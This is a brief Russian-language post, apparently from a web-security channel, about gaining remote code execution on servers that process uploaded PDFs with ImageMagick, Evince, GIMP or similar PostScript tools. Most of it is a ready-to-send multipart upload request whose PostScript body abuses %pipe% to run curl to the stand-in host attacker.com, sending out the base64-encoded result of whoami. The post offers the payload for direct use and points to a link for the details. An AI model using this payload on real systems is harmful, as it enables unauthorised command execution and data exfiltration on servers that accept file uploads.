​​🧨 Удаленное выполнение кода при загрузке PDF файла



Если на сайте происходит загрузка файла через ImageMagick, Evince, GIMP, и некоторые другие утилиты для PDF/PS, то в большинстве случаев можно загрузить PDF файл и получить удаленное выполнение кода на сервере отправив запрос:



Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"

Content-Type: application/pdf

%!PS

currentdevice null true mark /OutputICCProfile (%pipe%curl attacker.com/?a=$(whoami|base64)).putdeviceparams

quit



Подробности причин данной уязвимости можно прочитать по ссылке.



#web #rce